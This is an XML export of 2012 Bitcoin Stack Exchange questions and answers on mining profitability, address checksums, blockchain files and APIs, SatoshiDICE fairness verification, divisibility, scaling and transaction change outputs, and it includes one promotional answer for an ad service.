  <row Id="4590" PostTypeId="1" AcceptedAnswerId="4592" CreationDate="2012-08-30T11:03:16.890" Score="-1" ViewCount="997" Body="&lt;p&gt;This is a question that has been on my mind for a while. I was going to buy a server farm to mine Bitcoins and I was wondering if it would be practical to jump on the mining bandwagon at the current time.&lt;/p&gt;&#xA;" OwnerUserId="1821" LastEditorUserId="5406" LastEditDate="2016-01-20T21:00:06.367" LastActivityDate="2016-01-20T21:00:06.367" Title="Is this a good time to enter mining?" Tags="|trading|mining-profitability|" AnswerCount="1" CommentCount="4" ClosedDate="2015-01-10T11:11:09.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="4591" PostTypeId="1" CreationDate="2012-08-30T11:19:27.893" Score="4" ViewCount="1211" Body="&lt;p&gt;I'm planning to set up a rig and need a &lt;strong&gt;solo mining&lt;/strong&gt; client. Can you offer me some suggestions? (Please don't just tell me that solo mining isn't worth it).&lt;/p&gt;&#xA;" OwnerUserId="1820" LastEditorUserId="5406" LastEditDate="2016-03-31T09:51:41.163" LastActivityDate="2016-03-31T09:51:41.163" Title="What is the easiest to operate/fastest solo bitcoin mining client for a cluster rig?" Tags="|client|solo-mining|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4592" PostTypeId="2" ParentId="4590" CreationDate="2012-08-30T11:19:41.083" Score="1" Body="&lt;p&gt;If you want to calculate your farm's profitability, you can use various online calculators to do that, like &lt;a href=&quot;http://tpbitcalc.appspot.com&quot; rel=&quot;nofollow&quot;&gt;mine for example&lt;/a&gt;. You should take into consideration such scenarios as the reward for blocks halving soon, difficulty increasing, price going down and so forth and see whether or not it's worth your investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, GPU mining might not be the best choice at the moment, its profit margins are narrow. FPGA miners are more effective, but are generally pretty costly at the start. The new trend appears to be ASIC miners which can also be quite costly but are extremely good at mining.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-30T11:19:41.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4593" PostTypeId="2" ParentId="194" CreationDate="2012-08-30T13:22:44.573" Score="26" Body="&lt;p&gt;It is highly unlikely, you made a typo and were still able to send coins.  There is a difference between an invalid address and an incorrect address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bitcoin wallets/clients check if addresses are valid.&lt;br&gt;&#xA;Bitcoin addresses are the PubKeyHash encoded in Base58 with a version value and a checksum.  The checksum is the leftmost 32 bits of a double hash of the PubKeyHash.  The format of the address is often referred to as Base58Checked in technical documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Since the checksum is 32 bits the probability of entering an incorrect address that will still decode to an incorrect but valid PubKeyHash is roughly 1 in 4.3 billion.&lt;/strong&gt;  So, on average, 4,294,967,295 out of 4,294,967,296 times a typo will produce an address that is incorrect AND invalid.  When decoded the PubKeyHash will not produce the proper checksum, the error will be detected by the client/wallet, and the transaction won't be created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To actually lose coins to a typo you would need to produce not just any invalid address, but one that is valid but incorrect and the odds of that happening are almost zero.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that extremely unlikely event (1 in 4.3 billion is 10x less likely than winning the US PowerBall lottery), the transaction will be irreversible and only spendable by the person who has the private key for the incorrect address/pubkey. Given how many private keys are possible, it is almost certain that nobody ever has or ever will have that private keys and the funds will remain forever unspendable.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="5406" LastEditDate="2015-03-18T07:59:32.287" LastActivityDate="2015-03-18T07:59:32.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4594" PostTypeId="1" CreationDate="2012-08-30T17:14:33.537" Score="8" ViewCount="4582" Body="&lt;p&gt;I have a Bitcoin installation on an SD card, and the blockchain files (&lt;code&gt;blk0001.dat&lt;/code&gt; specifically) take up nearly 4 GB of disk space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the &lt;code&gt;blk0001.dat&lt;/code&gt; and &lt;code&gt;blk0002.dat&lt;/code&gt; files be safely deleted to free up space on my SD card? Will the blockchain just be downloaded again next time I run my bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="583" LastActivityDate="2014-11-08T08:30:45.237" Title="Can the blk0001.dat and blk0002.dat files be deleted?" Tags="|blockchain|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4595" PostTypeId="2" ParentId="4594" CreationDate="2012-08-30T17:27:13.007" Score="8" Body="&lt;p&gt;You can delete them just fine, as long as you delete blkindex.dat too. They will be downloaded and processed again. This will take a while, these days, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-08-30T17:27:13.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4597" PostTypeId="2" ParentId="4542" CreationDate="2012-08-30T20:35:34.887" Score="2" Body="&lt;p&gt;In the euro zone MtGox is not cheaper for small payments like $100. Depositing and withdrawing euros both include a fee of ~1.20 euro (10 PLN) + 0.60% for the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what deposit/withdrawal fees are for US dollars, neither if there are exchanges that do not require this fee. I know Intersango does as well.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2012-08-30T20:35:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4601" PostTypeId="1" AcceptedAnswerId="4602" CreationDate="2012-08-31T16:08:55.160" Score="12" ViewCount="3671" Body="&lt;p&gt;I don't want to use an existing service, like Blockchain.info or BlockExplorer.com. Is there some library out there that will let me read the blockchain programatically?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-03-07T08:44:14.523" Title="How can I read information from the blockchain?" Tags="|blockchain|development|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4602" PostTypeId="2" ParentId="4601" CreationDate="2012-08-31T20:38:44.383" Score="6" Body="&lt;p&gt;This can be done with some degree of effort using the Bitcoin API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v0.7 getrawtransaction gives you &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89725.msg990497#msg990497&quot; rel=&quot;nofollow&quot;&gt;access to transactions&lt;/a&gt; even those not in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other tools that you can use to build this capability as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libBitcoin&lt;/li&gt;&#xA;&lt;li&gt;Armory (see &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&quot; rel=&quot;nofollow&quot;&gt;Extras&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin ABE &lt;/li&gt;&#xA;&lt;li&gt;BitsOfProof supernode [pre-release]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-07T08:44:14.523" LastActivityDate="2013-03-07T08:44:14.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4603" PostTypeId="2" ParentId="4601" CreationDate="2012-08-31T20:43:03.473" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools/&quot; rel=&quot;nofollow&quot;&gt;Gavin Andresen's bitcointools&lt;/a&gt; python scripts might have some of the functionality you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-08-31T20:43:03.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4604" PostTypeId="1" AcceptedAnswerId="4608" CreationDate="2012-09-01T00:06:00.660" Score="4" ViewCount="1324" Body="&lt;p&gt;I want to get information about the creator of a given transaction through Bitcoin API. More specifically, any or all addresses they sent their Bitcoins from, so I can return some of the money back. Is it possible to do using just the JSON RPC, or do I have to rely on external sources (such as the Block Explorer)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-01T03:20:58.553" Title="How to return Bitcoins to sender through Bitcoin API?" Tags="|transactions|bitcoind|json-rpc|raw-data|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4606" PostTypeId="1" CreationDate="2012-09-01T02:08:26.820" Score="3" ViewCount="170" Body="&lt;p&gt;The JSON-RPC would return the time in this format &lt;code&gt;&quot;time&quot;: 1346289025&lt;/code&gt;. How exactly do I read it? I don't know what  kind of format it is. So what time is &lt;code&gt;1346289025&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1830" LastActivityDate="2012-09-01T02:53:37.800" Title="How do I read the time field from the json-rpc calls from bitcoind?" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4607" PostTypeId="2" ParentId="4606" CreationDate="2012-09-01T02:53:37.800" Score="3" Body="&lt;p&gt;It's &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_time&quot; rel=&quot;nofollow&quot;&gt;unix time&lt;/a&gt;, the number of seconds since January 1, 1970. Your programming language probably has an easy standard way of converting it to a date.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-09-01T02:53:37.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4608" PostTypeId="2" ParentId="4604" CreationDate="2012-09-01T03:20:58.553" Score="3" Body="&lt;p&gt;If the address is in your wallet, gettransaction includes the input addresses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this is done by an agent where the addresses might not be in the wallet, v0.7 getrawtransaction gives you &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89725.msg990497#msg990497&quot; rel=&quot;nofollow&quot;&gt;access to those transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other tools that you can use to build this capability as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libBitcoin&lt;/li&gt;&#xA;&lt;li&gt;Armory (see &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&quot; rel=&quot;nofollow&quot;&gt;Extras&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin ABE &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-01T03:20:58.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4609" PostTypeId="1" AcceptedAnswerId="4610" CreationDate="2012-09-01T07:30:20.393" Score="9" ViewCount="2052" Body="&lt;p&gt;What steps will let a person manually verify that the DICE roll was fair?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-18T03:30:05.197" Title="How can a wager with SatoshiDICE be proven to be fair?" Tags="|services|gambling|gaming|satoshidice|random|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4610" PostTypeId="2" ParentId="4609" CreationDate="2012-09-01T07:31:37.630" Score="6" Body="&lt;p&gt;[Going to answer this one myself.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike games of chance where you need to trust a machine or a human, SatoshiDICE's results are verifiable, thanks to cryptography, once the secret is released (the next day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be verified without needing any software installed.  Here's how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your wagers from Jul 10, 2012 (UTC), get the secret from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://satoshidice.com/secretlist.php&quot;&gt;http://satoshidice.com/secretlist.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That has been released, and it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ctygmtZjw7xTnLou7u9cWVYiOd79xAMJK5aJJBBD3w2Su8vGMHPDwP1f4O1eBPek&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create the SHA-256 hash of that secret with: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://md5online.eu/3,sha-256&quot;&gt;http://md5online.eu/3,sha-256&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which yields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;d75e37bc91915af566276e34624e7477c2a6771fb7898bc4dd1b30ccc0022cfe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then verify that the resulting hash from that jives with the has from hash.keys for Jul 10, 2012:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://s3-eu-west-1.amazonaws.com/satoshidice/hash.keys&quot;&gt;https://s3-eu-west-1.amazonaws.com/satoshidice/hash.keys&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So next you grab the transaction ID for your transaction (from the Transactions tab of Bitcoin.org client, or using &lt;a href=&quot;http://Blockchain.info&quot;&gt;BlockChain.info&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then plunk those values in ... for Text to convert, paste the Transaction ID, and for Shared Secret Key use the secret for the day that you verified above.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hash.online-convert.com/sha256-generator&quot;&gt;http://hash.online-convert.com/sha256-generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you click Calculate hash, you'll get a hex string in the results.  The first four alphanumeric characters is the hex representation of your lucky number (from 0000 through ffff hex, or in decimal, 0 through 65,535 decimal).  You can convert those values to decimal here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.binaryhexconverter.com/hex-to-decimal-converter&quot;&gt;http://www.binaryhexconverter.com/hex-to-decimal-converter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you had bet the &quot;less than 8,000&quot; wager and your lucky number was 8,000 or higher, ... that specific wager didn't win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the hashes to the secrets are known in advance (and they are, that hash.keys was published in April, a copy of which has been archived here) you can always verify if you should have gotten a winning payout or not: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://raw.github.com/sgornick/satoshidice/master/hash.keys&quot;&gt;https://raw.github.com/sgornick/satoshidice/master/hash.keys&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-01T07:31:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4611" PostTypeId="2" ParentId="2679" CreationDate="2012-09-01T08:34:15.003" Score="1" Body="&lt;p&gt;Pools must also check for duplicates in submitted work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner could submit a valid result more than once, even with some other user credentials. Thus, a pool will likely want to maintain a global (not per-user) history of received work, and check every submitted item against it. Ideally, that history would be flushed when the block changes, not before.&lt;/p&gt;&#xA;" OwnerDisplayName="user1831" LastActivityDate="2012-09-01T08:34:15.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4612" PostTypeId="1" CreationDate="2012-09-01T17:55:23.037" Score="6" ViewCount="3497" Body="&lt;p&gt;I understand that, at time of writing, splitting a bitcoin into more than 10⁸ parts is not useful. However, say that in the far future enough bitcoins have been destroyed (through deleted wallets due to negligence or whatever else) that a billionth becomes too valuable for people to work with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know we're a long way off from this issue yet, but just say it were to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the bitcoin spec easily allow you to further bifurcate these coin fragments into arbitrarily small values, thereby eliminating this sort of problem?&lt;/p&gt;&#xA;" OwnerUserId="1834" LastEditorUserId="51948" LastEditDate="2017-12-24T03:16:07.560" LastActivityDate="2017-12-24T03:16:07.560" Title="Can bitcoins be split up into greater than a billion parts?" Tags="|divisibility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4613" PostTypeId="2" ParentId="4612" CreationDate="2012-09-01T18:09:06.233" Score="5" Body="&lt;p&gt;The Bitcoin protocol doesn't allow you to &lt;em&gt;easily&lt;/em&gt; have denominations lower than a satoshi (10^-8 bitcoins). But once there is a need and widespread agreement, it can be modified to allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Destroyed bitcoins however will not have any significance as a factor contributing to this need.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-09-01T18:09:06.233" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4614" PostTypeId="1" CreationDate="2012-09-01T18:55:00.320" Score="4" ViewCount="648" Body="&lt;p&gt;As far as I know, the bitcoin system currently relies on the principle that all transactions are made by someone with access to the entire history of previous transactions. Since bitcoin's public debut 2.5ish years ago, these records have stayed small enough that it's still easy for one person to download and update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it gets large enough, though, it's going to be hard to do that. When I ask most people about this problem they just tell me that eventually we will start trusting our money to some bank-organization-type-thing (e.g. Coinbase) and we won't have to worry about the integrity of our records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that in the distant future, the bitcoin system becomes widespread enough that the rate at which transactions history grows exceeds the rate of change in disk space technology. (far cry, I know, but let's just assume a worst-case scenario.) How would bitcoin account for this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a better, more widely agreed on solution?&lt;/p&gt;&#xA;" OwnerUserId="1834" LastEditorUserId="44" LastEditDate="2013-05-09T23:50:03.693" LastActivityDate="2022-05-19T18:43:53.643" Title="What is going to happen when it is totally infeasible to download the entire bitcoin transaction history?" Tags="|speculation|scalability|architecture|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4615" PostTypeId="2" ParentId="4614" CreationDate="2012-09-01T19:14:12.573" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The default answer to scaling is SPV (lightweight) clients, which allow very good security and control of funds without the entire blockchain. Full nodes will still exist but the cost of running one will not be prohibitive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In practice many people will use some sort of bank service. If the funds are in full control of the bank it has some disadvantages, but yes - in this case of course the banks will settle intra- and inter-bank transfers with internal records and reciprocity agreements, not with the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are some schemes which allow making a payment without it being recorded as a transaction in the blockchain, and without having to trust a bank with your money. This will greatly reduce the total size of the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-09-01T19:14:12.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4616" PostTypeId="1" CreationDate="2012-09-02T00:32:46.580" Score="6" ViewCount="2552" Body="&lt;p&gt;Assume that person wanting to be anonymous has reason to do so. Powerful enemies will see what is bought with bitcoins, perhaps web blog on server and domain name. Even in nations with rule of law, United States applies strong pressure and registrars and server hosts give up bitcoin address used to pay for things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They trace address to address until find person who sold bitcoins for cash or credit card or wire fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If cash, famous exchanges know which city and bank address cash was deposited. Modern law enforcement technique is excellent for figuring identity once given such a clue. If not famous and idiot from Craigslit or similar, roll over in hurry when threatened with prison. Will try very hard to remember. And credit card or wire more even more trivial to figure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run tests, bitcoin mining take 22 million million years to give pocket change. Computer not so fancy after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgive poverty english please, translated to many languages and back before posting.&lt;/p&gt;&#xA;" OwnerUserId="1835" LastActivityDate="2012-10-23T00:14:35.127" Title="How can one be truly anonymous without mining?" Tags="|exchanges|privacy|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4617" PostTypeId="1" AcceptedAnswerId="4618" CreationDate="2012-09-02T15:32:52.457" Score="9" ViewCount="1465" Body="&lt;p&gt;I see a lot of transactions which have more than one recipient address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/tx-index/fce11cf87af6ee388c3a693dcc13a1e80b79e35029c347078d9ba4f07939ec83&quot;&gt;Transaction 1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/tx-index/33175062ebe632822c195b811814bd43c0b12ca382a79f06ef692a03bd13bf7f&quot;&gt;Transaction 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit #1:&#xA;I just saw a tag call &lt;strong&gt;multi-sig-transactions&lt;/strong&gt;. It is obviously what I am asking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not see in the clients before. How come that there are so many of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit #2:&#xA;After reading little bit about multi-sig-transactions I am not really sure that these transactions are these multi-sigs. This opinion is not based on real knowledge but just on such a great number of these transactions in every block. &lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="105" LastEditDate="2012-09-02T17:46:10.603" LastActivityDate="2012-09-02T17:46:10.603" Title="How can a transaction have more than one recipient address?" Tags="|transactions|address|receiving|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4618" PostTypeId="2" ParentId="4617" CreationDate="2012-09-02T16:52:44.570" Score="7" Body="&lt;p&gt;Actually, most transactions you see will have two recipient addresses. One is for the actual transaction and the other one is &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot;&gt;change&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the output of a transaction is used as the input of another&#xA;  transaction, it must be spent in its entirety. Sometimes the coin&#xA;  value of the output is higher than what the user wishes to pay. In&#xA;  this case, the client generates a new Bitcoin address, and sends the&#xA;  difference back to this address. This is known as change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But you can also add any number of recipients to a transaction so you'll find transactions with 20 or 50 receiving addresses too if you look around. In Bitcoin-Qt simply click &quot;Add Recipient&quot; on the &quot;Send coins&quot; tab.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-09-02T16:52:44.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4619" PostTypeId="1" CreationDate="2012-09-02T23:06:59.110" Score="8" ViewCount="6436" Body="&lt;p&gt;For someone in the USA what is the easiest way to convert bitcoins to usd while incurring minimal fees. I've heard of using mtgox with dwolla, or mtgox with internation wire transfer. But it strikes me as tedious to use dwolla. Why isn't there something like direct deposit, simple and fast?&lt;/p&gt;&#xA;" OwnerUserId="1258" LastEditorUserId="51948" LastEditDate="2017-12-24T03:17:44.863" LastActivityDate="2017-12-24T03:17:44.863" Title="Easiest way to convert bitcoins to usd" Tags="|exchanges|mtgox|sell-bitcoins|" AnswerCount="2" CommentCount="2" ClosedDate="2013-11-12T18:24:21.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="4622" PostTypeId="1" AcceptedAnswerId="4623" CreationDate="2012-09-04T00:11:53.247" Score="4" ViewCount="448" Body="&lt;p&gt;I'm running &lt;code&gt;bitcoind&lt;/code&gt; and would like to see which transactions I've received but haven't been included in a block yet. Is that possible, or do I need to run special mining software to see that?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-04-01T09:33:38.300" LastActivityDate="2016-04-01T09:33:38.300" Title="Can I see all transactions not included in a block yet?" Tags="|bitcoind|blockchain|unconfirmed-transactions|mempool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4623" PostTypeId="2" ParentId="4622" CreationDate="2012-09-04T03:40:39.207" Score="5" Body="&lt;p&gt;The upcoming release of the Bitcoin.org client, version 0.7, includes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;getrawmempool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-04T03:40:39.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4625" PostTypeId="2" ParentId="2428" CreationDate="2012-09-04T11:28:31.823" Score="3" Body="&lt;p&gt;I have a bit of news, there now is something like adsense. BitcoinAdSmart is a intelligent Keyword/GeoIP driven ad service for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://www.bitcoinadsmart.com&quot; rel=&quot;nofollow&quot;&gt;BitcoinAdSmart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BitcoinAdSmart offers the most fully intuitive bitcoin advertising&#xA;  service available. We work with Bitcoin publishers as well as regular&#xA;  publishers. We accept payment in Bitcoins, Paypal and all major&#xA;  credit/debit cards. We also offer various payout method to publishers,&#xA;  namely bitcoin and paypal. To deliver qualified advertisement(s) for a&#xA;  given request, the BitcoinAdSmart engine applies a proprietary Yield&#xA;  Optimization Algorithm to determine the appropriate rank and cost for&#xA;  each advertisement. Our algorithm considers factors such as relevancy,&#xA;  targeting match, keyword match type, qualified filter criteria,&#xA;  historical earnings, current bid amount, and more to determine what&#xA;  advertisement is qualified to be shown, where (rank), and what it&#xA;  should be billed. Take advantage of our targeted ads and relevant&#xA;  traffic, become a publisher or an advertiser today!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The result: Increased revenue for publishers along with increased&#xA;  performance for advertisers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Your typical ad server delivers advertisements based on pre-selected&#xA;  filters such as Geographical Targeting, Content Channel Matching,&#xA;  Keyword Matching, and/or Date Scheduling.  While these filters are&#xA;  needed and considered a norm, advertisers want, and need, more&#xA;  targeting control. BitcoinAdSmart is the first bitcoin advertiser to&#xA;  offer intelligent keyword drive ad serving.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In today's demanding on-line marketing efforts, advertising relevance&#xA;  has become one of the most important factors for both the advertiser&#xA;  and the publisher.  Advertisers can experience increased traffic from&#xA;  interested, motivated, and highly targeted, visitors, while publishers&#xA;  can enjoy an increase in advertising revenue thanks to the higher&#xA;  click-through rate.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What differentiates BitcoinAdSmart from the simple keyword targeting&#xA;  methods typically found in other advertising products available today&#xA;  is our proprietary contextual targeting engine.  With BitcoinAdSmart,&#xA;  publishers no longer have to manually specify relevant keywords for&#xA;  each page that include ads. Instead, our proprietary contextual&#xA;  targeting engine finds relevant keywords from the page content,&#xA;  matches those keywords to the available ads, and then delivers&#xA;  matching ads.  Combining our proprietary contextual targeting engine&#xA;  with content channels, geographical targeting, and scheduling, bitcoin&#xA;  advertisers  and other advertisiers can enjoy an increased volume of&#xA;  conversions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They outline their indexing process here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinadsmart.com/contextual-indexing-process.html&quot; rel=&quot;nofollow&quot;&gt;Contextual Indexing Process&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1840" LastActivityDate="2012-09-04T11:28:31.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4627" PostTypeId="1" AcceptedAnswerId="4628" CreationDate="2012-09-04T18:25:41.487" Score="5" ViewCount="215" Body="&lt;p&gt;The standard client's wallet includes a key pool of 100 extra pre-generated addresses, which are the next ones to be &quot;generated&quot; when you ask an extra address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the blockchain.info's backup wallet do such a thing, too?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="575" LastEditDate="2013-02-10T19:31:27.883" LastActivityDate="2013-02-10T19:31:27.883" Title="Does blockchain.info backup wallet include also the next addresses" Tags="|wallet|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
